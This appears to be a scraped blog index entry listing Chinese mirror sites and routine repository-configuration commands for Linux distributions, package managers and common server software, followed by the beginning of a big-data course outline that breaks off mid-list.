http://mirrors.zju.edu.cn/centos/ souhu http://mirrors.sohu.com/centos/ 163： http://mirrors.163.com/centos/ RemiRemi repository 是包含最新版本 PHP 和 MySQL 包的 Linux 源，由 Remi 提供维护。 官方地址：https://rpms.remirepo.net/ Configuration详情参考：https://wiki.eryajf.net/pages/f35986 yum install -y epel-releaseyum install -y https://mirrors.tuna.tsinghua.edu.cn/remi/enterprise/remi-release-7.rpm Mirrors目前代理外部源： Aliyun https://mirrors.aliyun.com/remi/ HUAWEI https://repo.huaweicloud.com/remi/ 清华 https://mirrors.tuna.tsinghua.edu.cn/remi/ 中科大 https://mirrors.ustc.edu.cn/remi/ 上海交通 http://ftp.sjtu.edu.cn/remi/ 首都在线 http://mirrors.yun-idc.com/remi/ 北京外国语大学 https://mirrors.bfsu.edu.cn/remi/ EpelEPEL 的全称叫 Extra Packages for Enterprise Linux。EPEL 是由 Fedora 社区打造，为 RHEL 及衍生发行版如 CentOS、Scientific Linux 等提供高质量软件包的项目。 官方地址：https://docs.fedoraproject.org/en-US/epel/ Configuration# 备份mv /etc/yum.repos.d/epel.repo /etc/yum.repos.d/epel.repo.backupmv /etc/yum.repos.d/epel-testing.repo /etc/yum.repos.d/epel-testing.repo.backup# 下载wget -O /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo Mirrors目前代理外部源： Aliyun https://mirrors.aliyun.com/epel/ Tencent https://mirrors.cloud.tencent.com/epel/ HUAWEI https://repo.huaweicloud.com/epel/ 清华 https://mirrors.tuna.tsinghua.edu.cn/epel/ 中科大 https://mirrors.ustc.edu.cn/epel/ 浙江大学 http://mirrors.zju.edu.cn/epel/ 兰州大学 https://mirror.lzu.edu.cn/epel/ 上海交通 http://ftp.sjtu.edu.cn/epel/ 首都在线 http://mirrors.yun-idc.com/epel/ 大连东软 http://mirrors.neusoft.edu.cn/epel/ 大连理工 http://mirror.dlut.edu.cn/epel/ 南京邮电 http://mirrors.njupt.edu.cn/epel/ 重庆大学 https://mirrors.cqu.edu.cn/epel/ 北京外国语大学 https://mirrors.bfsu.edu.cn/epel/ HomebrewConfiguration如果你使用了 zsh，那么配置方式如下： echo 'export HOMEBREW_BREW_GIT_REMOTE=\"https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/brew.git\"' &gt;&gt; ~/.zshrcecho 'export HOMEBREW_CORE_GIT_REMOTE=\"https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/homebrew-core.git\"' &gt;&gt; ~/.zshrcecho 'export HOMEBREW_BOTTLE_DOMAIN=\"https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles\"' &gt;&gt; ~/.zshrcsource ~/.zshrcbrew update 参考：Homebrew 替换国内镜像源 Mirrors Aliyun https://mirrors.aliyun.com/homebrew/ Tencent https://mirrors.cloud.tencent.com/homebrew/ 清华： https://mirrors.tuna.tsinghua.edu.cn/help/homebrew/ 重庆大学 https://mirrors.cqu.edu.cn/homebrew/ 北京外国语大学 https://mirrors.bfsu.edu.cn/help/homebrew/ cargorust 包管理镜像源 Configuration修改文件 ~/.cargo/config(没有则新建) [source.crates-io]replace-with = 'rsproxy'[source.rsproxy]registry = \"https://rsproxy.cn/crates.io-index\"[registries.rsproxy]index = \"https://rsproxy.cn/crates.io-index\"[net]git-fetch-with-cli = true Mirrors 字节 https://rsproxy.cn/crates.io-index 中国科学技术大学 git://mirrors.ustc.edu.cn/crates.io-index 清华： https://mirrors.tuna.tsinghua.edu.cn/git/crates.io-index.git 上海交通大学 https://mirrors.sjtug.sjtu.edu.cn/git/crates.io-index 阿里云 https://code.aliyun.com/rustcc/crates.io-index 北京外国语大学 https://mirrors.bfsu.edu.cn/git/crates.io-index.git rustcc 社区 git://crates.rustcc.cn/crates.io-index Software-Mirror还有一些软件，直接通过官方下载比较困难，也整理出方便下载的国内优质镜像。 DockerOfficial https://docs.docker.com/engine/install/ Mirrors Aliyun https://developer.aliyun.com/mirror/docker-ce Tencent https://mirrors.cloud.tencent.com/docker-ce/ HUAWEI https://repo.huaweicloud.com/docker-ce/ 北大 https://mirrors.pku.edu.cn/docker-ce/ 清华 https://mirrors.tuna.tsinghua.edu.cn/docker-ce/ 中科大 https://mirrors.ustc.edu.cn/docker-ce/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/docker-ce/ 浙江大学 http://mirrors.zju.edu.cn/docker-ce/ 北京外国语大学 https://mirrors.bfsu.edu.cn/docker-ce/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/docker-ce 上海交通 https://mirror.sjtu.edu.cn/docker-ce/ KubernetesOfficial https://kubernetes.io/releases/download/ Mirrors Aliyun https://developer.aliyun.com/mirror/kubernetes Tencent https://mirrors.cloud.tencent.com/kubernetes/ HUAWEI https://repo.huaweicloud.com/kubernetes/ 北大 https://mirrors.pku.edu.cn/kubernetes/ 清华 https://mirrors.tuna.tsinghua.edu.cn/kubernetes/ 中科大 https://mirrors.ustc.edu.cn/kubernetes/ K3sOfficial https://github.com/k3s-io/k3s/releases/ Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/github-release/k3s-io/k3s/ 北京外国语大学 https://mirrors.bfsu.edu.cn/github-release/k3s-io/k3s/ MinikubeOfficial https://github.com/kubernetes/minikube/releases Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/github-release/kubernetes/minikube/ 北京外国语大学 https://mirrors.bfsu.edu.cn/github-release/kubernetes/minikube/ HelmOfficial https://helm.sh/docs/intro/install/ Mirrors HUAWEI https://repo.huaweicloud.com/helm/ HarborOfficial https://github.com/goharbor/harbor/releases Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/github-release/goharbor/harbor/ 北京外国语大学 https://mirrors.bfsu.edu.cn/github-release/goharbor/harbor/ JenkinsOfficial 安装包：https://www.jenkins.io/zh/download/ 插件：https://plugins.jenkins.io/ Mirrors Aliyun 安装包：https://mirrors.aliyun.com/jenkins/war/ 插件：https://mirrors.aliyun.com/jenkins/plugins/ Tencent 安装包：https://mirrors.cloud.tencent.com/jenkins/war/ 插件：https://mirrors.cloud.tencent.com/jenkins/plugins/ HUAWEI 安装包：https://repo.huaweicloud.com/jenkins/war/ 插件：https://repo.huaweicloud.com/jenkins/plugins/ 中科大 安装包：https://mirrors.ustc.edu.cn/jenkins/war/ 插件：https://mirrors.ustc.edu.cn/jenkins/plugins/ 清华 安装包：https://mirrors.tuna.tsinghua.edu.cn/jenkins/war/ 插件：https://mirrors.tuna.tsinghua.edu.cn/jenkins/plugins/ 北京外国语大学 安装包：https://mirrors.bfsu.edu.cn/jenkins/war/ 插件：https://mirrors.bfsu.edu.cn/jenkins/plugins/ GitLab-ceOfficial https://packages.gitlab.com/gitlab/gitlab-ce Mirrors Aliyun https://mirrors.aliyun.com/gitlab-ce/ Tencent https://mirrors.cloud.tencent.com/gitlab-ce/ 清华 https://mirrors.tuna.tsinghua.edu.cn/gitlab-ce/ 北京外国语大学 https://mirrors.bfsu.edu.cn/gitlab-ce/ GitLab-runnerOfficial https://docs.gitlab.com/runner/install/ Mirrors Tencent https://mirrors.cloud.tencent.com/gitlab-runner/ 清华 https://mirrors.tuna.tsinghua.edu.cn/gitlab-runner/ 北京外国语大学 https://mirrors.bfsu.edu.cn/gitlab-runner/ ElasticSearchOfficial https://www.elastic.co/cn/downloads/elasticsearch Mirrors elastic 中文社区 https://elasticsearch.cn/download/ Aliyun https://mirrors.aliyun.com/elasticstack/ HUAWEI https://repo.huaweicloud.com/elasticsearch/ Tencent https://mirrors.cloud.tencent.com/elasticstack/ 清华 https://mirrors.tuna.tsinghua.edu.cn/elasticstack/ 南京邮电 http://mirrors.njupt.edu.cn/elasticstack/ LogstashOfficial https://www.elastic.co/cn/downloads/logstash Mirrors elastic 中文社区 https://elasticsearch.cn/download/ HUAWEI https://repo.huaweicloud.com/logstash/ KibanaOfficial https://www.elastic.co/cn/downloads/kibana Mirrors elastic 中文社区 https://elasticsearch.cn/download/ HUAWEI https://repo.huaweicloud.com/kibana/ FilebeatOfficial https://www.elastic.co/cn/downloads/beats/filebeat Mirrors elastic 中文社区 https://elasticsearch.cn/download/ HUAWEI https://repo.huaweicloud.com/filebeat/ MySQLOfficial https://dev.mysql.com/downloads/repo/yum/ Mirrors Aliyun https://developer.aliyun.com/mirror/mysql HUAWEI https://repo.huaweicloud.com/mysql/Downloads/ Tencent https://mirrors.cloud.tencent.com/mysql/ Souhu http://mirrors.sohu.com/mysql/ 清华 https://mirrors.tuna.tsinghua.edu.cn/mysql/ 中科大 https://mirrors.ustc.edu.cn/mysql-ftp/Downloads/ 南阳理工 https://mirror.nyist.edu.cn/mysql/ 北京外国语大学 https://mirrors.bfsu.edu.cn/mysql/ MariaDBOfficial https://mariadb.org/download/ Mirrors Aliyun https://developer.aliyun.com/mirror/mariadb Tencent https://mirrors.cloud.tencent.com/mariadb/ HUAWEI https://repo.huaweicloud.com/mariadb/ 清华 https://mirrors.tuna.tsinghua.edu.cn/mariadb/ 中科大 https://mirrors.ustc.edu.cn/mariadb/ PerconaOfficial https://www.percona.com/downloads/ Mirrors Tencent https://mirrors.cloud.tencent.com/percona/ 清华 https://mirrors.tuna.tsinghua.edu.cn/percona/ 中科大 https://mirrors.ustc.edu.cn/percona/ MongoDBOfficial https://www.mongodb.com/try/download/community Mirrors Aliyun https://developer.aliyun.com/mirror/mongodb Tencent https://mirrors.cloud.tencent.com/mongodb/ 163 http://mirrors.163.com/mongodb/ 清华 https://mirrors.tuna.tsinghua.edu.cn/mongodb/ 北京外国语大学 https://mirrors.bfsu.edu.cn/mongodb/ 上海交通大学 https://mirrors.sjtug.sjtu.edu.cn/mongodb/ RedisOfficial https://redis.io/download/ Mirrors HUAWEI https://repo.huaweicloud.com/redis/ PostgreSQLOfficial https://www.postgresql.org/download/ Mirrors Aliyun https://mirrors.aliyun.com/postgresql/ Tencen https://mirrors.cloud.tencent.com/postgresql/ HUAWEI https://repo.huaweicloud.com/postgresql/ 清华 https://mirrors.tuna.tsinghua.edu.cn/postgresql/ 中科大 https://mirrors.ustc.edu.cn/postgresql/ 浙江大学 http://mirrors.zju.edu.cn/postgresql/ 南阳理工 https://mirror.nyist.edu.cn/postgresql/ 北京外国语大学 https://mirrors.bfsu.edu.cn/postgresql/ GolangOfficial https://go.dev/dl/ Mirrors Go 语言中文网 https://studygolang.com/dl Aliyun https://mirrors.aliyun.com/golang/ Proxy-io https://gomirrors.org/ 中科大 https://mirrors.ustc.edu.cn/golang/ NodeOfficial https://nodejs.org/zh-cn/download/ Mirrors Aliyun https://mirrors.aliyun.com/nodejs-release/ HUAWEI https://repo.huaweicloud.com/nodejs/ Tencent https://mirrors.cloud.tencent.com/nodejs-release/ 清华 https://mirrors.tuna.tsinghua.edu.cn/nodejs-release/ 中科大 https://mirrors.ustc.edu.cn/node/ 北京外国语大学 https://mirrors.bfsu.edu.cn/nodejs-release/ YarnOfficial https://github.com/yarnpkg/yarn/releases Mirrors HUAWEI https://repo.huaweicloud.com/yarn/ PythonOfficial https://www.python.org/downloads/ Mirrors HUAWEI https://repo.huaweicloud.com/python/ 北京交通 https://mirror.bjtu.edu.cn/python/ RustOfficial https://forge.rust-lang.org/infra/other-installation-methods.html Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/rustup/ 上海交通大学 https://mirror.sjtu.edu.cn/rust-static/ ZabbixOfficial https://www.zabbix.com/cn/download Mirrors Aliyun https://mirrors.aliyun.com/zabbix HUAWEI https://repo.huaweicloud.com/zabbix/ Tencent https://mirrors.cloud.tencent.com/zabbix/ 清华 https://mirrors.tuna.tsinghua.edu.cn/zabbix/ 南京邮电 http://mirrors.njupt.edu.cn/zabbix/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/zabbix/ 南阳理工 https://mirror.nyist.edu.cn/zabbix/ 北京外国语大学 https://mirrors.bfsu.edu.cn/zabbix/ PrometheusOfficial https://grafana.com/grafana/download Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/github-release/prometheus/prometheus/ 北京外国语大学 https://mirrors.bfsu.edu.cn/github-release/prometheus/prometheus/ 上海交通大学 https://mirror.sjtu.edu.cn/github-release/prometheus/?mirror_intel_list此地址下包含了 prometheus 应用体系的大部分软件，包含： alertmanager blackbox_exporter consul_exporter graphite_exporter haproxy_exporter memcached_exporter mysqld_exporter node_exporter prometheus pushgateway statsd_exporter GrafanaOfficial https://grafana.com/grafana/download Mirrors Aliyun https://developer.aliyun.com/mirror/grafana HUAWEI https://repo.huaweicloud.com/grafana/ Tencent https://mirrors.cloud.tencent.com/grafana/ 清华 https://mirrors.tuna.tsinghua.edu.cn/grafana/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/grafana/ 北京外国语大学 https://mirrors.bfsu.edu.cn/grafana/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/grafana/ PinpointOfficial https://github.com/pinpoint-apm/pinpoint/releases Mirrors HUAWEI https://repo.huaweicloud.com/pinpoint/ ApacheOfficial https://httpd.apache.org/download.cgi Mirrors Aliyun https://developer.aliyun.com/mirror/apache HUAWEI https://repo.huaweicloud.com/apache/ Tencent https://mirrors.cloud.tencent.com/apache/ Souhu http://mirrors.sohu.com/apache/ 北大 https://mirrors.pku.edu.cn/apache/ 清华 https://mirrors.tuna.tsinghua.edu.cn/apache/ 中科大 https://mirrors.ustc.edu.cn/apache/ 北京交通 https://mirror.bjtu.edu.cn/apache/ NginxOfficial http://nginx.org/en/download.html Mirrors HUAWEI https://repo.huaweicloud.com/nginx/ Souhu http://mirrors.sohu.com/nginx 中科大 https://mirrors.ustc.edu.cn/nginx/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/nginx/ OpenRestyOfficial https://openresty.org/cn/download.html Mirrors Tencent https://mirrors.cloud.tencent.com/openresty/ HUAWEI https://repo.huaweicloud.com/openresty/ 清华 https://mirrors.tuna.tsinghua.edu.cn/openresty/ 中科大 https://mirrors.ustc.edu.cn/openresty/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/openresty/ 北京外国语大学 https://mirrors.bfsu.edu.cn/openresty/ KeepalivedOfficial https://www.keepalived.org/download.html Mirrors HUAWEI https://repo.huaweicloud.com/keepalived/ CephOfficial https://docs.ceph.com/en/quincy/install/get-packages/ Mirrors Aliyun https://developer.aliyun.com/mirror/ceph Tencent https://mirrors.cloud.tencent.com/ceph/ HUAWEI https://repo.huaweicloud.com/ceph/ 163 http://mirrors.163.com/ceph/ 清华 https://mirrors.tuna.tsinghua.edu.cn/ceph/ 重庆大学 https://mirrors.cqu.edu.cn/ceph/ 中科大 https://mirrors.ustc.edu.cn/ceph/ InfluxdataOfficial https://portal.influxdata.com/downloads/ Mirrors Tencent https://mirrors.cloud.tencent.com/influxdata/ 清华 https://mirrors.tuna.tsinghua.edu.cn/influxdata/ 中科大 https://mirrors.ustc.edu.cn/influxdata/ 北京外国语大学 https://mirrors.bfsu.edu.cn/influxdata/ ClickHouseOfficial https://clickhouse.com/#quick-start Mirrors Aliyun https://mirrors.aliyun.com/clickhouse/ 清华 https://mirrors.tuna.tsinghua.edu.cn/clickhouse/ RabbitmqOfficial https://www.rabbitmq.com/download.html Mirrors HUAWEI https://repo.huaweicloud.com/rabbitmq-server/ ETCDOfficial https://github.com/etcd-io/etcd/releases Mirrors HUAWEI https://repo.huaweicloud.com/etcd/ WireSharkOfficial https://www.wireshark.org/ Mirrors 清华 https://mirrors.tuna.tsinghua.edu.cn/wireshark/ 上海交通大学 https://mirror.sjtu.edu.cn/wireshark/ VirtualboxOfficial https://www.virtualbox.org/wiki/Downloads Mirrors Tencent https://mirrors.cloud.tencent.com/virtualbox/ 清华 https://mirrors.tuna.tsinghua.edu.cn/virtualbox/ 北京外国语大学 https://mirrors.bfsu.edu.cn/virtualbox/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/virtualbox/ iinaOfficial https://github.com/iina/iina/releases/ Mirrors Aliyun https://mirrors.aliyun.com/iina/ Tencent https://mirrors.cloud.tencent.com/iina/ 清华 https://mirrors.tuna.tsinghua.edu.cn/iina/ 北京外国语大学 https://mirrors.bfsu.edu.cn/iina/ chromiumOfficial https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html Mirrors Aliyun https://registry.npmmirror.com/binary.html?path=chromium-browser-snapshots/ huaweicloud https://repo.huaweicloud.com/chromium-browser-snapshots/ ungoogled-software.github.io(ungoogle chromium) https://ungoogled-software.github.io/ungoogled-chromium-binaries/releases/ System-Mirror系统镜像，又大又远，更需要找到好用优秀的国内镜像。 CentOS尽管 CentOS 不再更新了，但它仍旧并且还将持续是国内企业系统主力军。 可能官方考虑到下载困难的问题，官方也列出了距离使用者更近的镜像列表，可谓贴心。 Official https://www.centos.org/download/ Mirrors Aliyun https://mirrors.aliyun.com/centos/ Tencent https://mirrors.cloud.tencent.com/centos/ HUAWEI https://repo.huaweicloud.com/centos/ 163 http://mirrors.163.com/centos/ Souhu http://mirrors.sohu.com/centos/ 北大 https://mirrors.pku.edu.cn/centos/ 清华 https://mirrors.tuna.tsinghua.edu.cn/centos/ 中科大 https://mirrors.ustc.edu.cn/centos/ 浙江大学 http://mirrors.zju.edu.cn/centos/ 南阳理工 https://mirror.nyist.edu.cn/centos/ 兰州大学 https://mirror.lzu.edu.cn/centos/ 东北大学 http://mirror.neu.edu.cn/centos/ 大连东软 http://mirrors.neusoft.edu.cn/centos/ 上海交通 http://ftp.sjtu.edu.cn/centos/ 北京交通 https://mirror.bjtu.edu.cn/centos/ 大连理工 http://mirror.dlut.edu.cn/centos/ 首都在线 http://mirrors.yun-idc.com/centos/ 南京邮电 http://mirrors.njupt.edu.cn/centos/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/centos/ 重庆大学 https://mirrors.cqu.edu.cn/centos/ 北京外国语大学 https://mirrors.bfsu.edu.cn/centos/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/centos/ CentOS-altarchARM 架构下的 CentOS 镜像。 Official https://www.centos.org/download/ Mirrors Aliyun https://developer.aliyun.com/mirror/centos-altarch Tencent https://mirrors.cloud.tencent.com/centos-altarch/ HUAWEI https://repo.huaweicloud.com/centos-altarch/ 清华 https://mirrors.tuna.tsinghua.edu.cn/centos-altarch/ 中科大 https://mirrors.ustc.edu.cn/centos-altarch/ 兰州大学 https://mirror.lzu.edu.cn/centos-altarch/ 北京外国语大学 https://mirrors.bfsu.edu.cn/centos-altarch/ UbuntuOfficial 官方镜像：https://ubuntu.com/download Mirrors Aliyun https://mirrors.aliyun.com/ubuntu/ Tencent https://mirrors.cloud.tencent.com/ubuntu/ HUAWEI https://repo.huaweicloud.com/ubuntu/ 163 http://mirrors.163.com/ubuntu/ Souhu http://mirrors.sohu.com/ubuntu/ 北大 https://mirrors.pku.edu.cn/ubuntu/ 清华 https://mirrors.tuna.tsinghua.edu.cn/ubuntu/ 中科大 https://mirrors.ustc.edu.cn/ubuntu/ 浙江大学 http://mirrors.zju.edu.cn/ubuntu/ 兰州大学 https://mirror.lzu.edu.cn/ubuntu/ 大连东软 http://mirrors.neusoft.edu.cn/ubuntu/ 上海交通 http://ftp.sjtu.edu.cn/ubuntu/ 北京交通 https://mirror.bjtu.edu.cn/ubuntu/ 大连理工 http://mirror.dlut.edu.cn/ubuntu/ 首都在线 http://mirrors.yun-idc.com/ubuntu/ 南京邮电 http://mirrors.njupt.edu.cn/ubuntu/ 南阳理工 https://mirror.nyist.edu.cn/ubuntu/ 重庆大学 https://mirrors.cqu.edu.cn/ubuntu/ 北京外国语大学 https://mirrors.bfsu.edu.cn/ubuntu/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/ubuntu DebianOfficial 官方镜像：https://www.debian.org/mirror/ 全球镜像：https://www.debian.org/mirror/list Mirrors Aliyun https://mirrors.aliyun.com/debian/ Tencent https://mirrors.cloud.tencent.com/debian/ HUAWEI https://repo.huaweicloud.com/debian/ 163 http://mirrors.163.com/debian/ Souhu http://mirrors.sohu.com/debian/ 北大 https://mirrors.pku.edu.cn/debian/ 清华 https://mirrors.tuna.tsinghua.edu.cn/debian/ 中科大 https://mirrors.ustc.edu.cn/debian/ 浙江大学 http://mirrors.zju.edu.cn/debian/ 兰州大学 https://mirror.lzu.edu.cn/debian/ 大连东软 http://mirrors.neusoft.edu.cn/debian/ 上海交通 http://ftp.sjtu.edu.cn/debian/ 北京交通 https://mirror.bjtu.edu.cn/debian/ 大连理工 http://mirror.dlut.edu.cn/debian/ 首都在线 http://mirrors.yun-idc.com/debian/ 南京邮电 http://mirrors.njupt.edu.cn/debian/ 南阳理工 https://mirror.nyist.edu.cn/debian/ 重庆大学 https://mirrors.cqu.edu.cn/debian/ 北京外国语大学 https://mirrors.bfsu.edu.cn/debian/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/debian/ DeepinOfficial 官方镜像：https://www.deepin.org/zh/download/ Mirrors Aliyun https://mirrors.aliyun.com/deepin/ HUAWEI https://repo.huaweicloud.com/deepin/ 163 http://mirrors.163.com/deepin/ Souhu http://mirrors.sohu.com/deepin/ 清华 https://mirrors.tuna.tsinghua.edu.cn/deepin/ 中科大 https://mirrors.ustc.edu.cn/deepin/ 浙江大学 http://mirrors.zju.edu.cn/deepin/ 兰州大学 https://mirror.lzu.edu.cn/deepin/ 上海交通 http://ftp.sjtu.edu.cn/deepin/ 南京邮电 http://mirrors.njupt.edu.cn/deepin/ 南阳理工 https://mirror.nyist.edu.cn/deepin/ 重庆大学 https://mirrors.cqu.edu.cn/deepin/ 北京外国语大学 https://mirrors.bfsu.edu.cn/deepin/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/deepin/ FedoraOfficial 官方镜像：https://getfedora.org/en/server/download/ Mirrors Aliyun https://mirrors.aliyun.com/fedora/ Tencent https://mirrors.cloud.tencent.com/fedora/ HUAWEI https://repo.huaweicloud.com/fedora/ 163 http://mirrors.163.com/fedora/ Souhu http://mirrors.sohu.com/fedora/ 清华 https://mirrors.tuna.tsinghua.edu.cn/fedora/ 中科大 https://mirrors.ustc.edu.cn/fedora/ 浙江大学 http://mirrors.zju.edu.cn/fedora/ 兰州大学 https://mirror.lzu.edu.cn/fedora/ 上海交通 http://ftp.sjtu.edu.cn/fedora/ 南京邮电 http://mirrors.njupt.edu.cn/fedora/ 南阳理工 https://mirror.nyist.edu.cn/fedora/ 重庆大学 https://mirrors.cqu.edu.cn/fedora/ 北京外国语大学 https://mirrors.bfsu.edu.cn/fedora/ GentooOfficial 官方镜像：https://www.gentoo.org/downloads/ Mirrors Aliyun https://mirrors.aliyun.com/gentoo/ Tencent https://mirrors.cloud.tencent.com/gentoo/ HUAWEI https://repo.huaweicloud.com/gentoo/ 163 http://mirrors.163.com/gentoo/ Souhu http://mirrors.sohu.com/gentoo/ 清华 https://mirrors.tuna.tsinghua.edu.cn/gentoo/ 中科大 https://mirrors.ustc.edu.cn/gentoo/ 浙江大学 http://mirrors.zju.edu.cn/gentoo/ 兰州大学 https://mirror.lzu.edu.cn/gentoo/ 北京外国语大学 https://mirrors.bfsu.edu.cn/gentoo/ 上海交通 https://mirrors.sjtug.sjtu.edu.cn/gentoo/ kaliOfficial https://www.kali.org/get-kali/ Mirrors Aliyun https://mirrors.aliyun.com/kali/ Tencent https://mirrors.cloud.tencent.com/kali/ HUAWEI https://repo.huaweicloud.com/kali/ 清华 https://mirrors.tuna.tsinghua.edu.cn/kali/ 中科大 https://mirrors.ustc.edu.cn/kali/ 浙江大学 http://mirrors.zju.edu.cn/kali/ 南阳理工 https://mirror.nyist.edu.cn/kali/ 大连东软 http://mirrors.neusoft.edu.cn/kali/ 北京交通 https://mirror.bjtu.edu.cn/kali/ 南京邮电 http://mirrors.njupt.edu.cn/kali/ 西北农林科技大学 https://mirrors.nwsuaf.edu.cn/kali/ 重庆大学 https://mirrors.cqu.edu.cn/kali-images/ 北京外国语大学 https://mirrors.bfsu.edu.cn/kali/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/kali 上海交通大学 https://mirrors.sjtug.sjtu.edu.cn/kali/ OpensuseOfficial https://get.opensuse.org/zh-CN/ Mirrors Aliyun https://mirrors.aliyun.com/opensuse/ Tencent https://mirrors.cloud.tencent.com/opensuse/ HUAWEI https://repo.huaweicloud.com/opensuse/ Souhu http://mirrors.sohu.com/opensuse/ 北大 https://mirrors.pku.edu.cn/opensuse/ openTUNA https://opentuna.cn/opensuse/ 中科大 https://mirrors.ustc.edu.cn/opensuse/ 浙江大学 http://mirrors.zju.edu.cn/opensuse/ 兰州大学 https://mirror.lzu.edu.cn/opensuse/ 上海交通 http://ftp.sjtu.edu.cn/opensuse/ 北京交通 https://mirror.bjtu.edu.cn/opensuse/ 首都在线 http://mirrors.yun-idc.com/opensuse/ 重庆大学 https://mirrors.cqu.edu.cn/opensuse/ 北京理工 https://mirror.bit.edu.cn/opensuse/ 重庆大学 https://mirrors.cqu.edu.cn/opensuse/ 哈工大 https://mirrors.hit.edu.cn/opensuse/ 南京大学 http://mirrors.nju.edu.cn/opensuse/ 南方科技大学 https://mirrors.sustech.edu.cn/opensuse/ 北京外国语大学 https://mirrors.bfsu.edu.cn/opensuse/ 哈尔滨工业大学 https://mirrors.hit.edu.cn/opensuse/ FreebsdOfficial https://www.freebsd.org/where/ Mirrors Aliyun https://mirrors.aliyun.com/freebsd/ Tencent https://mirrors.cloud.tencent.com/freebsd/ HUAWEI https://repo.huaweicloud.com/freebsd/ 中科大 https://mirrors.ustc.edu.cn/freebsd/ 兰州大学 https://mirror.lzu.edu.cn/freebsd/ 北京交通 https://mirror.bjtu.edu.cn/freebsd/ 首都在线 http://mirrors.yun-idc.com/freebsd/ GNUOfficial https://www.gnu.org/software/octave/download Mirrors Aliyun https://mirrors.aliyun.com/gnu/ Tencent https://mirrors.cloud.tencent.com/gnu/ HUAWEI https://repo.huaweicloud.com/gnu/ 清华 https://mirrors.tuna.tsinghua.edu.cn/gnu/ 中科大 https://mirrors.ustc.edu.cn/gnu/ 兰州大学 https://mirror.lzu.edu.cn/gnu/ 北京交通 https://mirror.bjtu.edu.cn/gnu/ Other-MirrorDocker-hub没有整理 Docker-hub 的镜像的原因是，鉴于这种仓库的特殊性，国内也确实没有一家将之全站镜像的，果真如此，倒也并不科学了。 不过关于 Docker-hub 以及 GitHub 的使用，又的确会经常遇到网络方面的问题，因此也一直在留心这方面的解决方案，目前大多是提供加速的方案，算是镜像方案之下的一个折中策略。 Official https://hub.docker.com/ 其他的镜像仓库不再单独列出。 Mirrors使用方式： 使用方式都是替换原来镜像的前缀域名即可实现加速效果，比如： 原来地址： eryajf/centos:7.4 # 这个是官方镜像，省略了前边的域名替换地址： docker.mirrors.sjtug.sjtu.edu.cn/eryajf/centos:7.4 另外，加速通常只是针对某个源站进行的加速，国外对公开放的 docker 仓库并非官方一家，因此这里就以源站的维度进行区分，整理出经过测试可用的加速站。 Docker-hub 上海交通大学 docker.mirrors.sjtug.sjtu.edu.cn 中科大 docker.mirrors.ustc.edu.cn docker proxy dockerproxy.com gcr.io docker proxy gcr.dockerproxy.com lank8s：后期可能会转成付费 gcr.lank8s.cn k8s.gcr.io 上海交通大学 k8s-gcr-io.mirrors.sjtug.sjtu.edu.cn docker proxy k8s.dockerproxy.com lank8s lank8s.cn ghcr.io docker proxy ghcr.dockerproxy.com quay.io 中科大 quay.mirrors.ustc.edu.cn"},{"title":"","date":"2019-09-19T03:24:00.000Z","updated":"2022-09-06T01:38:00.000Z","comments":true,"path":"notes/pdf/bigdata.html","permalink":"https://blog.mhuig.top/notes/pdf/bigdata","excerpt":"","text":"大数据处理技术 大数据处理技术 volantis.css(\"/lib/hexo-github/github.css\"); volantis.js(\"/lib/hexo-github/github.js\").then(() => { new Badge(\"#badge-container-MHuiG-BigData-Archive-4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", \"MHuiG\", \"BigData-Archive\", \"4bf68d5a9dfa76e95fd97bd641f84806e5e0bcb9\", false); }) day01 大数据集群环境准备 &amp; zookeeper 的介绍以及集群环境搭建三台虚拟机创建并联网 大数据集群环境准备 分布式集群 zookeeper 的介绍以及集群环境搭建 day02 大数据发展简史及环境安装hadoop 的介绍以及发展历史 hadoop 的历史版本介绍 三大公司发行版本介绍 hadoop 的架构模型（1.x，2.x 的各种架构模型介绍） apache hadoop 三种架构介绍（standAlone) apache hadoop 三种架构介绍（伪分布介绍以及安装） apache hadoop 三种架构介绍（高可用分布式环境介绍以及安装） day03Hadoop 集群初体验 &amp; HDFS 的命令行使用hadoop 集群初体验 HDFS 入门介绍 HDFS 的命令行使用 CDH 伪分布式环境搭建 day04 分布式文件系统 HDF分布式文件系统详细介绍 HDFS 分布式文件系统设计目标 HDFS 的来源 HDFS 的架构图之基础架构 hdfs 的架构之文件的文件副本机制 HDFS 的元数据信息 FSimage 以及 edits 和 secondaryNN 的作用 HDFS 的文件写入过程 HDFS 的文件读取过程 HDFS 的 JavaAPI 操作 day05MapReduce 编程模型 - WordCount 实例分析理解 MapReduce 思想 HadoopMapReduce 设计构思 MapReduce 框架结构 MapReduce 编程规范及示例编写 WordCount 示例编写本地模式 MapReduce 编程模型 - WordCount 实例分析 day06MapReduce 的运行机制MapReduce 的分区与 reduceTask 的数量 MapTask 运行机制详解以及 Map 任务的并行度 ReduceTask 工作机制以及 reduceTask 的并行度 MapReduceshuffle 过程 索引建立 day07Yarn 资源调度及 Hive 初步Hive 基本概念 Hive 的安装部署 Hive 基本操作之创建数据库 创建数据库表 hive 语句综合练习 Yarn 资源调度 关于 yarn 常用参数设置 day08Flume 数据采集Flume 介绍 Flume 的安装部署 采集案例监控目录变化 采集案例监控文件的变化 两个 agent 级联 更多 source 和 sink 组件 高可用 Flume flume 的负载均衡 loadbalancer day09 消息队列 Kafkakafka 的介绍 kafka 的安装 kafka 